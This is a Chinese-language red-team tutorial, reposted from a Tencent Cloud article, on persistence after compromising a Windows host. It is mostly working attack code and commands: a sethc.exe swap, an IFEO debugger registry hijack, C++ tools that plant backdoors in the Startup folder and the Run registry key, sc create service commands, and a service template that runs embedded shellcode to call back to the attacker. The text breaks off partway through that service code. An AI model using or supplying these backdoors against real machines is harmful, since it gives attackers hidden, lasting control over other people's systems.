Windows权限维持
Windows权限维持
来源 https://cloud.tencent.com/developer/article/1850726
0x01 前言
红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。通俗的说抓到一条鱼,不能轻易放走了。
0x02 辅助功能镜像劫持
为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序
还有:
屏幕键盘:C:\Windows\System32\osk.exe
放大镜:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器:C:\Windows\System32\AtBroker.exe
在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe。
windows 2003,XP
可以可视化界面更换也可以命令行:
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
更高版本
我们需要用到IFEO,即映像劫持
什么是IFEO
所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
可视化修改
在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
当然,需要管理员权限
0x03 启动项/服务后门
开始菜单启动项
开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
重启后自启
由于每台电脑的快速启动目录不同,可以代码实现
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
{
BOOL ret = false;
CHAR szStartPath[MAX_PATH] = { 0 };
CHAR szDestFilePath[MAX_PATH] = { 0 };
//返回快速启动目录路径到szStartPath
ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
//判断是否获取成功
if (ret == TRUE)
{
printf("[+]Get the quick start directory successfully!\n");
}
else
{
printf("[!]Get the quick start directory faild!\n");
return FALSE;
}
//构造文件在快速启动目录下的路径
::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
//复制文件到快速启动目录下
ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
if (FALSE == ret)
{
printf("[!]Failed to save the file in the quick start directory.\n");
return FALSE;
}
else
{
printf("[!]Successfully to save the file in the quick start directory.\n");
}
printf("[+]Backdoor generation in quick start directory successful!\n");
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");
if (argc == 3)
{
AutoRun_Startup(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
启动项注册表后门
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限
自己写的一个小工具
代码不多,也比较简单,还是分享出来:
#include <iostream>
#include <windows.h>
BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName)
{
//定义一个注册表句柄
HKEY hKey;
//打开注册表键
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
{
printf("[+] Open RegKey Successfully\n");
}
else
{
printf("[!] Open RegKey Error\n");
return FALSE;
}
if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName))))
{
printf("[+] Set Value Successfully\n");
}
else
{
::RegCloseKey(hKey);
printf("[!] Set Value Error\n");
return FALSE;
}
printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n");
::RegCloseKey(hKey);
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");
if (argc == 3)
{
Reg_CurrentUser(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
而更改HKEY_LOCAL_MACHINE却是需要管理员权限
重启后exe会自启,不一定是cmd程序,可以换成我们自己的马,达到维持权限的效果
使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同样需要管理员权限,代码跟上面差不多
HKEY_CURRENT_USER同理,但不需要管理员权限
自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"
sc description "SD" "description" 设置服务的描述字符串
sc config "SD" start= auto 设置这个服务为自动启动
net start "SD" 启动服务
也可以直接编写一个服务,穿插着shellcode上线
#include <windows.h>
#include <iostream>
unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
#define SLEEP_TIME 5000 /*间隔时间*/
#define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/
SERVICE_STATUS ServiceStatus; /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();
int main(int argc, CHAR* argv[])
{
WCHAR WserviceName[] = TEXT("sddd");
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = WserviceName;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int WriteToLog(const char* str)
{
FILE* pfile;
fopen_s(&pfile, LOGFILE, "a+");
if (pfile == NULL)
{
return -1;
}
fprintf_s(pfile, "%s\n", str);
fclose(pfile);
return 0;
}
/*Service initialization*/
int InitService()
{
CHAR Message[] = "Monitoring started.";
OutputDebugString(TEXT("Monitoring started."));
int result;
result = WriteToLog(Message);
return(result);
}
/*Control Handler*/
void CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
default:
break;
}
/* Report current status */
SetServiceStatus(hStatus